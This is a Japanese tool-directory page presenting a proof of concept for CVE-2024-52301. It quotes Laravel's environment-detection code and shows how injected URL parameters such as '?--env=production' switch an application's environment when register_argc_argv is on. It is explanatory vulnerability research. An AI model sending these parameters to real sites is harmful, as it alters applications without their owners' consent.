Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-52301 — CVE-2024-52301の概念実証エクスプロイト。注入されたURLパラメータを介したLaravelの環境操作を実演し、詳細なコード分析と再現手順を提供します。 | Kitploit
ツール/GitHubGitHub/nyamort/cve-2024-52301
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubnyamort/cve-2024-52301

CVE-2024-52301

CVE-2024-52301の概念実証エクスプロイト。注入されたURLパラメータを介したLaravelの環境操作を実演し、詳細なコード分析と再現手順を提供します。

リポジトリを見る
21331年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-52301 POC

この脆弱性はCVE-2024-50340の脆弱性に基づいています。

必要条件

PHP設定ファイル(php.ini)で register_argc_argv オプションが有効になっている必要があります。この設定により、コマンドライン引数とクエリパラメータが $_SERVER['argv'] に読み込まれます。

https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

脆弱なコードの説明

root@kitploit:~

//Illuminate\Foundation\Application
public function detectEnvironment (Closure $callback)
{
    $args = $_SERVER['argv'] ?? null;

    return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}

目的: このメソッドは、コマンドライン引数を保持する $_SERVER['argv'] にアクセスして環境を検出し、EnvironmentDetector クラスに処理を委譲します。

脆弱性の源泉: $_SERVER['argv'] に依存することで、注入されたURLパラメータ(例:?--env=dev)が $_SERVER['argv'] を操作し、["--env=dev"] を含むようにする可能性があります。この配列は直接 detect に渡されるため、攻撃者が環境を制御できる可能性があります。

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
public function detect(Closure $callback, $consoleArgs = null)
{
    if ($consoleArgs) {
        return $this->detectConsoleEnvironment($callback, $consoleArgs);
    }

    return $this->detectWebEnvironment($callback);
}

目的: detect メソッドは $consoleArgs(argv 配列)が提供されているかどうかを判定します。提供されている場合は detectConsoleEnvironment を呼び出してコンソールベースの環境検出を処理し、そうでない場合は HTTP リクエスト用の detectWebEnvironment を呼び出します。

脆弱性への経路: $_SERVER['argv'] に --env=dev のような注入値が含まれている場合、detectConsoleEnvironment が呼び出され、引数を処理してアプリケーションを別の環境に切り替える可能性があります。

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
protected function detectConsoleEnvironment(Closure $callback, array $args)
{
    // First we will check if an environment argument was passed via console arguments
    // and if it was that automatically overrides as the environment. Otherwise, we
    // will check the environment as a "web" request like a typical HTTP request.
    if (! is_null($value = $this->getEnvironmentArgument($args))) {
        return $value;
    }

    return $this->detectWebEnvironment($callback);
}

目的: このメソッドは、コンソール引数の中に --env 引数が存在するかどうかをチェックします。

仕組み: getEnvironmentArgument を呼び出して、argv 引数のいずれかが環境を指定しているかどうかを確認します。--env が提供されている場合、このメソッドは指定された環境値を返し、detectWebEnvironment の呼び出しをバイパスします。

root@kitploit:~
//Illuminate\Foundation\EnvironmentDetector
protected function getEnvironmentArgument(array $args)
{
    foreach ($args as $i => $value) {
        if ($value === '--env') {
            return $args[$i + 1] ?? null;
        }

        if (str_starts_with($value, '--env=')) {
            return head(array_slice(explode('=', $value), 1));
        }
    }
}

目的: このメソッドは argv をパースして --env 引数を見つけます。

仕組み:

  • --env が単独のフラグとして見つかった場合、次の引数を環境値として返します。

  • --env= 構文が使用されている場合(例:--env=dev)、= の後の部分を抽出して環境(この場合は dev)を返します。

PoC 例

環境設定:

.env ファイルには APP_ENV=development が設定されているため、デフォルトではアプリケーションは development 環境に設定されています。

root@kitploit:~
@production
    <p>Production environment</p>
@endproduction

@env ('local')
    <p>Local environment</p>
@endenv

デフォルトアクセス (http://localhost):
APP_ENV が development に設定されており、--env 引数が注入されていないため、@production ディレクティブも @env('local') ディレクティブも一致しません。
結果: 出力は空です。

Production 用の注入引数 (http://localhost?--env=production):
URL に ?--env=production を指定すると、$_SERVER['argv'] が操作され、["--env=production"] が含まれるようになります。
これにより、Laravel の環境検出メカニズムがトリガーされ、環境が production に設定されます。
結果: @production ディレクティブが <p>Production environment</p> を出力します。

Local 用の注入引数 (http://localhost?--env=local):
?--env=local を指定すると、$_SERVER['argv'] に ["--env=local"] が含まれ、環境が local に変更されます。
結果: @env('local') ディレクティブが <p>Local environment</p> を出力します。

注意

この脆弱性では、config 関数内の環境を変更することはできません。代わりに、Application クラス内の環境設定にのみ影響を与えます。

したがって、Blade ディレクティブやコードの他の部分は Application クラスに依存して環境を検出しますが、config 関数を使用するコードはこの脆弱性の影響を受けません。

ツールをダウンロード